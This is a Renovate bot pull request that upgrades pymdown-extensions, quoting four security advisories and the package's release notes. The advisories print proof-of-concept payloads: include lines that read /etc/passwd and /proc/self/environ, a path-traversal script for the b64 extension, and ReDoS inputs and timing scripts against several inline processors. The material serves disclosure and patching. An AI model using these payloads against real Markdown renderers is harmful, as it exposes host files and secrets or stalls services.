Skip to content

Update dependency pymdown-extensions to v11 [SECURITY] - #71

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-pymdown-extensions-vulnerability
Open

Update dependency pymdown-extensions to v11 [SECURITY]#71
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-pymdown-extensions-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Apr 15, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
pymdown-extensions ==9.9.2==11.0.1 age confidence

Any file can be included with the pymdown-snippets extension

CVE-2023-32309 / GHSA-jh85-wwv9-24hv

More information

Details

Summary

Arbitrary file read when using include file syntax.

Details

By using the syntax --8<--"/etc/passwd" or --8<--"/proc/self/environ" the content of these files will be rendered in the generated documentation. Additionally, a path relative to a specified, allowed base path can also be used to render the content of a file outside the specified base paths: --8<-- "../../../../etc/passwd".

Within the Snippets extension, there exists a base_path option but the implementation is vulnerable to Directory Traversal.
The vulnerable section exists in get_snippet_path(self, path) lines 155 to 174 in snippets.py.

base = "docs"
path = "/etc/passwd"
filename = os.path.join(base,path) # Filename is now /etc/passwd
PoC
import markdown

payload = "--8<-- \"/etc/passwd\""
html = markdown.markdown(payload, extensions=['pymdownx.snippets'])

print(html)
Impact

Any readable file on the host where the plugin is executing may have its content exposed. This can impact any use of Snippets that exposes the use of Snippets to external users.

It is never recommended to use Snippets to process user-facing, dynamic content. It is designed to process known content on the backend under the control of the host, but if someone were to accidentally enable it for user-facing content, undesired information could be exposed.

Suggestion

Specified snippets should be restricted to the configured, specified base paths as a safe default. Allowing relative or absolute paths that escape the specified base paths would need to be behind a feature switch that must be opt-in and would be at the developer's own risk.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyMdown Extensions has a ReDOS bug in its Figure Capture extension

CVE-2025-68142 / GHSA-r6h4-mm7h-8pmq

More information

Details

Impact

This issue describes a ReDOS bug found within the figure caption extension (pymdownx.blocks.caption ).

In systems that take unchecked user content, this could cause long hangs when processing the data if a malicious payload was crafted.

Patches

This issue is patched in Release 10.16.1.

Workarounds

Some possible workarounds

If users are concerned about this vulnerability and process unknown user content without timeouts or other safeguards in place to prevent really large, malicious content being aimed at systems, the use of pymdownx.blocks.caption could be avoided until the library is updated to 10.16.1+.

References

The original issue https://github.com/facelessuser/pymdown-extensions/issues/2716.

Description

The original issue came through PyMdown Extensions' normal issue tracker instead of the typical security flow: https://github.com/facelessuser/pymdown-extensions/issues/2716. Because this came through the normal issue flow, it was handled as a normal issue. In the future, PyMdown Extensions will ensure such issues, even if prematurely made public through the normal issue flow, are redirected through the typical security process.

The regular expression pattern in question is as follows:

RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)')

The POC was provided by @​ShangzhiXu

import re
import time

regex_pattern = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)')

for i in range(50, 500, 50):
    long_string = '1' * i + 'a'
    start_time = time.time()
    match = re.match(regex_pattern, long_string)
    end_time = time.time()
    print(f"long_string execution time: {end_time - start_time:.6f} s")

The issue with the above pattern is that . was used, which accepts any character when we meant to use \.. The fix was to update the pattern to:

RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:\.[1-9][0-9]*)*)(?= |$)')

Relevant PR with fix: https://github.com/facelessuser/pymdown-extensions/pull/2717

Version(s) & System Info
  • Operating System: Any
  • Python Version: Any

Severity

  • CVSS Score: 2.7 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyMdown Extensions: Path traversal in the b64 extension lets read files outside base_path

CVE-2026-61632 / GHSA-9xwg-3r6f-jcx2

More information

Details

Summary

The b64 extension inlines images referenced by <img src="..."> as base64 data URIs. When resolving the src path it joins it onto the configured base_path with os.path.normpath and opens the result directly, with no check that the resolved path stays inside base_path. A src containing ../ sequences, or an absolute path, therefore reads a file outside base_path as long as that file has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg). The base64 of that file is then embedded in the rendered output, disclosing its contents.

This is a separate code path from the snippets traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in pymdownx/b64.py and has no path restriction of any kind. Confirmed on 10.21.3 installed from PyPI.

Details

In pymdownx/b64.py, function repl_path (around lines 68 to 90 on main):

if is_absolute:
    file_name = os.path.normpath(path)                          # absolute src: base_path ignored entirely
else:
    file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path
if os.path.exists(file_name):
    ext = os.path.splitext(file_name)[1].lower()
    for b64_ext in file_types:
        if ext in b64_ext:
            with open(file_name, "rb") as f:                    # opened with no containment check
                ...

There is no startswith(base_path), no os.path.realpath comparison, and no rejection of ... Both branches are reachable from an attacker-controlled src.

PoC

Reproduced against an unmodified pymdown-extensions==10.21.3 from PyPI. The script creates a base_path directory and a PNG one level above it, then renders Markdown whose image src points outside base_path, and confirms the outside file's bytes appear base64-encoded in the output.

import base64, os, shutil, tempfile, markdown

root = tempfile.mkdtemp()
base_path = os.path.join(root, "docs"); os.makedirs(base_path)
outside = os.path.join(root, "secret"); os.makedirs(outside)

png = base64.b64decode(
    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk"
    "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
)
with open(os.path.join(outside, "secret.png"), "wb") as f:
    f.write(png)

md = markdown.Markdown(
    extensions=["pymdownx.b64"],
    extension_configs={"pymdownx.b64": {"base_path": base_path}},
)
html = md.convert('<img src="../secret/secret.png">')

assert base64.b64encode(png).decode() in html, "not leaked"
print("LEAKED:", html)

Output:

LEAKED: <p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ..."></p>

The base64 of a file outside base_path is present in the output. The absolute-path branch behaves the same way: an absolute src bypasses base_path entirely via os.path.normpath(path). Both were confirmed leaking.

Impact

An application that renders untrusted Markdown with pymdownx.b64 enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.

Suggested fix

Resolve the real path and require it to stay within base_path before opening:

file_name = os.path.realpath(os.path.join(base_path, path))
base_real = os.path.realpath(base_path)
if file_name != base_real and not file_name.startswith(base_real + os.sep):
    return m.group(0)  # leave the tag untouched; do not read outside base_path

The same containment check should apply to the absolute-path branch rather than trusting an absolute src. Using realpath instead of abspath also closes the related symlink-following gap in the snippets handler.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors

CVE-2026-67422 / GHSA-gm37-52c6-37mw

More information

Details

Summary

Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's default configuration
and are reachable through the documented public API. The caret/tilde/
betterem blow-up was introduced by the emphasis-pattern rewrite in PR #​2547
(first released in 10.13, Dec 2024) — earlier releases used a linear
(.+?) / ([^\s]+?) content group — and is present through 11.0 (latest);
magiclink's host pattern is long-standing and affects effectively all releases.
Likely CWE-1333 (Inefficient Regular Expression Complexity).

This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption,
RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a ./\.
typo).

Details

Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into {2,}-sized pieces in
exponentially many ways, wrapped in a lazy +? that must fail before the engine
can give up:

Extension Regex Location (11.0)
pymdownx.caret (superscript ^…^) SUP2 pymdownx/caret.py:56
pymdownx.tilde (subscript ~…~) SUB2 pymdownx/tilde.py:55
pymdownx.betterem (underscore _…_) SMART_UNDER_EM2 (default) pymdownx/betterem.py:93
pymdownx.magiclink (bare-URL autolink) RE_LINK pymdownx/magiclink.py:56 (host at :59)

pymdownx/caret.py:56 (pymdown-extensions 11.0):

SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'

The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the
\^{2,} branch. A run of k carets can be split into ≥2-length pieces in
exponentially many combinations; when no caret can serve as a valid closing
delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine
explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2
(betterem) are the same construct for ~ and _. In betterem the default
smart_enable='underscore' routes underscores to SmartUnderscoreProcessor
SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable,
API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when
smart_enable is asterisk/disable) shares the shape but did not reproduce
through the public markdown.markdown() pipeline on the tested payload, so a fix
and regression test should target SMART_UNDER_EM2.

pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where
overlapping character classes let a run of dots be grouped exponentially:

(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)*    # host: '\.' and '[-\w.]' inside (?:...)* both match '.'

SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the
default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is
applied by MagiclinkPattern (registered unconditionally at priority 85). In all
four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted
src in default configuration is sufficient to reach the regex.

PoC

Single self-contained script; runs against the pinned release in an ephemeral
env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time
(a per-render alarm caps each attempt so the script terminates).

import signal
import time
from importlib.metadata import version

import markdown

print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")

CAP = 5.0  # a single render exceeding this is treated as a hang

class Timeout(Exception):
    pass

def render(ext, text):
    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
    signal.setitimer(signal.ITIMER_REAL, CAP)
    t = time.perf_counter()
    try:
        markdown.markdown(text, extensions=[ext])
        return time.perf_counter() - t
    except Timeout:
        return None
    finally:
        signal.setitimer(signal.ITIMER_REAL, 0)

##### ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
    "pymdownx.caret":     (lambda n: "^a" + "^" * n + "b",       lambda n: "^" + "a" * n + "^",           [24, 30, 36], 44),
    "pymdownx.tilde":     (lambda n: "~a" + "~" * n + "b",       lambda n: "~" + "a" * n + "~",           [24, 30, 36], 44),
    "pymdownx.betterem":  (lambda n: "_a" + "_" * n + "b",       lambda n: "_" + "a" * n + "_",           [24, 30, 36], 44),
    "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}

repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear
    base = render(ext, base_txt)
    print(f"\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
    prev = None
    for n in ramp:
        txt = evil(n)
        dt = render(ext, txt)
        ratio = f"  (x{dt / prev:.1f})" if (prev and dt) else ""
        shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
        print(f"          malicious len {len(txt):3d}: {shown}{ratio}")
        prev = dt
    txt = evil(hang)
    dt = render(ext, txt)
    hung = dt is None
    print(f"          malicious len {len(txt):3d}: "
          f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
    ok = base < 0.05 and (hung or dt > 1.0)
    repro.append(ok)
    print(f"          => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
          f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")

assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
      "public markdown.markdown() API, default config (each < 50-byte input).")

Run:

uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py

The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it
is independent of the Markdown library version (markdown pinned only for
byte-exact output). Observed output:


##### pymdown-extensions 11.0 / markdown 3.10.2

[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.054 s  (x16.6)
          malicious len  39:    0.946 s  (x17.6)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.053 s  (x17.1)
          malicious len  39:    0.962 s  (x18.2)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.052 s  (x17.1)
          malicious len  39:    0.948 s  (x18.1)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms
          malicious len  37:    0.033 s
          malicious len  41:    0.210 s  (x6.4)
          malicious len  45:    1.405 s  (x6.7)
          malicious len  49: > 5 s (HANG)
          => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.

VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).

The per-step ratio stays roughly constant as the run grows (a fixed multiplicative
factor per fixed-size increment) — the signature of exponential, not polynomial,
backtracking. A valid, closed delimiter run of the same length exercises the same
regex yet renders in well under a millisecond, isolating the cost to the unclosed
crafted run. Extending it a few more characters pushes the render time into minutes
and beyond.

Impact

Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with
no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders
trusted author content at build time, but the untrusted-input exposure is concrete
in two settings:

  • General Python web apps that render user-supplied Markdown (comments, wikis,
    issue/ticket bodies, chat, live preview) — notably any app using
    pymdownx.extra, which bundles betterem with the vulnerable default
    smart_enable='underscore', or that reuses a Material-style extension block in
    a runtime renderer.

  • Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a
    single crafted line hangs the shared build worker.

  • Attacker: unauthenticated, remote (anyone who can submit Markdown).

  • Configuration: default for each extension.

  • Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes
    the final call): AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High).

Suggestion

The vulnerable content groups need to be rewritten so a delimiter run has exactly
one parse, removing the {2,} partition ambiguity that lets the engine
re-segment a run on backtracking. For the emphasis patterns, restructuring the
content so a delimiter run is consumed in a single, non-re-partitionable way
(rather than by a {2,} branch inside a +? group) removes the blow-up; for
RE_LINK, disambiguate the host so . is matched in exactly one place (a single
labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by
overlapping classes. Possessive quantifiers / atomic groups are the most direct
tool but require Python 3.11+; since the project supports Python 3.10, a
structural rewrite is the portable option.

A regression fixture per extension (a short delimiter run with no valid closer,
asserted to render under a small time budget) would guard against reintroduction.

References
  • Affected source (pymdown-extensions 11.0): pymdownx/caret.py:56 (SUP2),
    pymdownx/tilde.py:55 (SUB2), pymdownx/betterem.py:93 (SMART_UNDER_EM2,
    default; :69 UNDER_EM2 shares the shape), pymdownx/magiclink.py:56
    (RE_LINK, host subexpression at :59).
  • Novelty: same class as CVE-2025-68142 (pymdownx.blocks.caption RE_FIG_NUM,
    fixed 10.16.1) but distinct extensions, regexes, and root cause. The
    caret/tilde/betterem content groups gained the vulnerable {2,}
    alternation in PR #​2547 (v10.13); earlier releases used a linear
    (.+?) / ([^\s]+?) group. magiclink's host pattern is long-standing. None
    of the four has been touched by a prior security fix; all are present in the
    latest release (11.0).

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

facelessuser/pymdown-extensions (pymdown-extensions)

v11.0.1

Compare Source

11.0.1

  • FIX: BetterEm: Fix regex pattern inefficiencies.
  • FIX: Tilde: Fix regex pattern inefficiencies.
  • FIX: Caret: Fix regex pattern inefficiencies.
  • FIX: MagicLink: Fix regex pattern inefficiencies.

v11.0

Compare Source

11.0

  • BREAK: B64: Restricts relative links to base_path by default. Can be disabled by setting new restrict_path
    option to False. The new root_path can be specified if paths are desired to be restricted to a different
    location separate base_path which is also used as a relative base for image paths.
  • NEW: Drop Python 3.9 support.
  • FIX: Tabbed: Fix issue where an empty title would cause an exception.

v10.21.3

Compare Source

10.21.3

  • FIX: Fix regression that allows a snippet to be loaded outside of the base path using directory traversal when
    restrict_base_path is enabled (the default). Found by @​gistrec.

v10.21.2: 10.21. 2

Compare Source

10.21.2

  • FIX: Highlight: Latest Pygments versions cannot handle a "filename" for code block titles of None.

v10.21

10.21

  • NEW: Caption: Add support for specifying not only IDs but classes and arbitrary attributes. Initial work by
    @​joapuiib.
  • FIX: MagicLink: Fix a matching pattern for Bitbucket repo.

v10.20

Compare Source

10.20

  • NEW: Quotes: New blockquotes extension added that uses a more modern approach when compared to Python Markdown's
    default. Quotes specifically will not group consecutive blockquotes together in the same lazy fashion that the
    default Python Markdown does which follows a more modern trend to how parsers these days handle block quotes.

    In addition, Quotes also provides an optional feature to enable specifying callouts/alerts in the style used by
    GitHub and Obsidian.

v10.19.1

Compare Source

10.19.1

  • FIX: Arithmatex: Fix issue where block $$ math used inline within a paragraph could result in nested math
    parsing.

v10.19

Compare Source

10.19

  • NEW: Emoji: Update Twemoji to use Unicode 16.
  • NEW: Critic: Roll back view mode deprecation as some still like to use it, though further enhancements to this
    mode are not planned.

v10.18

Compare Source

10.18

  • NEW: Critic: view mode has been deprecated. To avoid warnings or future issues, explicitly set mode to
    either accept or reject. In the future, the new default will be accept and the view mode will be removed
    entirely.
  • FIX: Block Admonition: important should have always been available as a default.

v10.17.2

Compare Source

10.17.2

  • FIX: Blocks: Blocks extensions will now better handle nesting of indented style Admonitions, Details, and Tabbed
    and other non-conflicting blocks.

v10.17.1

Compare Source

10.17.1

  • FIX: Fix an issue where Highlight can override another extension in the "registered" list in Python Markdown.

v10.17

Compare Source

10.17

  • NEW: Allow specifying static IDs in caption block headers via #id syntax.

v10.16.1: 10.6.1

Compare Source

10.16.1

  • FIX: Inefficient regular expression pattern for figure caption numbers.

v10.16

Compare Source

10.16

  • NEW: Add early support for Python 3.14.
  • NEW: Drop support for Python 3.8.
  • NEW: Snippets: Added max_retries and backoff_retries options to configure new retry logic for HTTP 429
    errors (Too Many Requests client error).
  • NEW: Caption: Prefix templates are now preserved exactly as specified allowing the insertion of HTML tags if
    desired.
  • FIX: Caption: Fix issue where manual numbers in auto were not respected appropriately.

v10.15

Compare Source

10.15.0

  • NEW: SuperFences: Add relaxed_headers option which can tolerate bad content in the fenced code header. When
    enabled, code blocks with bad content in the header will likely still convert into code blocks, often respecting
    the specified language.
  • NEW: Add type hints to the Blocks interface and a few additional files.
  • FIX: Blocks: Fix some corner cases of nested blocks with lists.
  • FIX: Tab and Tabbed: Fix a case where tabs could fail if combine_header_slug was enabled and there was no
    header.

v10.14.3

Compare Source

10.14.3

  • FIX: Blocks: An empty, raw block type should not cause an error.

v10.14.2

Compare Source

10.14.2

  • FIX: Blocks: Fix some corner cases with md_in_html.

v10.14.1

Compare Source

10.14.1

  • FIX: MagicLink: Ensure that repo names that start with . are handled correctly.
  • FIX: FancyLists: Fix case were lists could be falsely created when a line started with . or ).

v10.14

Compare Source

10.14

  • NEW: Blocks.HTML: Add new custom option to specify tags and the assumed handling for them when automatic mode
    is assumed. This can also be used to override the handling for recognized tags with automatic handling.
  • FIX: Fix tests to pass with Pygments 2.19+.

v10.13

Compare Source

10.13

  • NEW: Snippets: Allow multiple line numbers or line number blocks separated by ,.
  • NEW: Snippets: Allow using a negative index for number start indexes and end indexes. Negative indexes are converted to positive indexes based on the number of lines in the snippet.
  • FIX: Snippets: Properly capture empty newline at end of file.
  • FIX: Snippets: Fix issue where when non sections of files are included, section labels are not stripped.
  • FIX: BetterEm: Fixes for complex cases.
  • FIX: Blocks: More consistent handling of empty newlines in block processor extensions.

v10.12

Compare Source

10.12

  • NEW: Blocks: Blocks extensions no longer considered in beta.
  • NEW: Details: Details is marked as "legacy" in documentation in favor of the new pymdownx.blocks.details approach.
  • NEW: Tabbed: Tabbed is marked as "legacy" in documentation in favor of the new pymdownx.blocks.tab approach.
  • NEW: Caption: Add new "blocks" style extension called Caption which helps with specifying figures with captions.
  • NEW: Emoji: Add a new strict option that will raise an exception if an emoji is used whose name has changed,
    removed, or never existed.
  • FIX: Emoji: Emoji links should be generated such that they point to the new CDN version.

v10.11.2

Compare Source

10.11.2

  • FIX: SuperFences: Fix a regression where certain patterns could cause a hang.

v10.11.1

Compare Source

10.11.1

  • Fix: SuperFences: Fix regression where an omitted language in conjunction with options in the fenced header
    can cause a fence to not be parsed.

v10.11

Compare Source

10.11

  • NEW: SuperFences: Allow fenced code to be parsed in the form ```lang {.class #id}.

v10.10.2

Compare Source

10.10.2

  • FIX: BetterEm: Add better support for *em, **em,strong*** and _em, __em,strong___ cases.
  • FIX: Caret: Add better support for *sup, **sup,ins***.
  • FIX: Tilde: Add better support for *sub, **sub,del***.

v10.10.1

Compare Source

10.10.1

  • FIX: FancyLists: Remove a mistaken semicolon from injected classes.

v10.10

Compare Source

10.10

  • NEW: FancyLists: Add new FancyLists extension.
  • NEW: MagicLink: Change social links to support x instead of twitter. twitter is still recognized but is
    now deprecated and will be removed at a future time.
  • NEW: Emoji: Update Twemoji data to the latest.
  • FIX: PathConverter: Fixes for latest changes in Python regarding urlunparse.

v10.9

Compare Source

10.9

  • NEW: Officially support Python 3.13.
  • FIX: Snippets: Better handling of cases where URL snippet requests contain no header length.

v10.8.1

Compare Source

10.8.1

  • FIX: Snippets: Fix snippet line range with a start of line 1.

v10.8

Compare Source

10.8

  • NEW: Require Python Markdown 3.6+.
  • FIX: Fix some test cases.
  • FIX: Fix warnings due to recent changes in Python Markdown.

v10.7.1

Compare Source

10.7.1

  • FIX: SmartSymbols: Ensure symbols are properly translated in table of content tokens.

v10.7

Compare Source

10.7

  • NEW: Emoji: Update Twemoji and Gemoji data to latest.
  • NEW: Emoji: Due to recent Gemoji update, non-standard emoji are no longer indexed. So emoji such as :octocat:
    are no longer resolved.
  • NEW: Highlight: Added new option default_lang which will cause code blocks with no language specifier to be
    highlighted with the specified default language instead of plain text. This affects indented code blocks and code
    blocks defined with SuperFences.
  • NEW: InlineHilite: style_plain_text can be specified with a language string (in addition to its previous
    boolean requirement) to treat inline code blocks with no explicit language specifier with a specific default
    language.

v10.6

Compare Source

10.6

  • NEW: MagicLink: Allow configuring custom repository providers based off the existing providers.

v10.5

Compare Source

10.5

  • NEW: Blocks: Admonitions and Details now allow configuring custom block classes and default titles.
  • FIX: Keys: Ensure that Keys does not parse base64 encoded URLs.

v10.4

Compare Source

10.4

  • NEW: Snippets: Allow PathLike objects for base_path to better support interactions with MkDocs.
  • FIX: Block Admonitions: Empty titles should be respected.
  • FIX: Block Details: Empty summary should be respected.

v10.3.1

Compare Source

10.3.1

  • FIX: SuperFences: Fix an issue where braces were not handled properly in attributes.

v10.3

Compare Source

10.3

  • NEW: Officially support Python 3.12.
  • NEW: Drop Python 3.7 support.

v10.2.1

Compare Source

10.2.1

  • FIX: Tabbed: Fix regression.

v10.2

Compare Source

10.2

  • NEW: Highlight: Add new stripnl option to configure Pygments' default handling of stripping leading and
    and trailing new lines from code blocks. Mainly affects fenced code blocks.
  • FIX: SuperFences: Fix issue where when SuperFences attempts to test if a placeholder is its own, it can throw
    an exception.

v10.1

Compare Source

v10.0.1

Compare Source

10.0.1

  • FIX: Regression related to snippets nested deeply under specified base path.

v10.0

Compare Source

10.0

  • Break: Snippets: snippets will restrict snippets to ensure they are under the base_path preventing snippets
    relative to the base_path but not explicitly under it. restrict_base_path can be set to False for legacy
    behavior.

v9.11

Compare Source

9.11

  • NEW: Emoji: Update to new CDN and use Twemoji 14.1.2.
  • NEW: Snippets: Ignore nested snippet section syntax when including a section.

v9.10

Compare Source

9.10

  • NEW: Blocks: Add new experimental general purpose blocks that provide a framework for creating fenced block
    containers for specialized parsing. A number of extensions utilizing general purpose blocks are included and are meant
    to be an alternative to (and maybe one day replace): Admonitions, Details, Definition Lists, and Tabbed. Also adds a
    new HTML plugin for quick wrapping of content with arbitrary HTML elements.
  • NEW: Highlight: When enabling line spans and/or line anchors, if a code block has an ID associated with it, line
    ids will be generated using that code ID instead of the code block count.
  • NEW: Snippets: Expand section syntax to allow section names with - and _.
  • NEW: Snippets: When check_paths is enabled, and a specified section is not found, raise an error.
  • NEW: Snippets: Add new experimental feature dedent_sections that will de-indent (remove any common leading
    whitespace from every line in text) from that block of text.
  • NEW: MagicLink: Update GitLab links to match recent changes and to be more correct.
  • NEW: MagicLink: Relax required hash length when performing link shortening.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot changed the title Update dependency pymdown-extensions to v10 [SECURITY] Update dependency pymdown-extensions to v10 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate
renovate Bot deleted the renovate/pypi-pymdown-extensions-vulnerability branch April 27, 2026 19:31
@renovate renovate Bot changed the title Update dependency pymdown-extensions to v10 [SECURITY] - autoclosed Update dependency pymdown-extensions to v10 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pymdown-extensions-vulnerability branch 2 times, most recently from 513ea42 to 8049ff2 Compare April 27, 2026 23:46
@renovate
renovate Bot force-pushed the renovate/pypi-pymdown-extensions-vulnerability branch from 8049ff2 to 1e2ec8f Compare July 28, 2026 10:01
@renovate renovate Bot changed the title Update dependency pymdown-extensions to v10 [SECURITY] Update dependency pymdown-extensions to v11 [SECURITY] Jul 28, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pymdown-extensions-vulnerability branch from 1e2ec8f to ddd2e23 Compare August 9, 2026 12:43
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants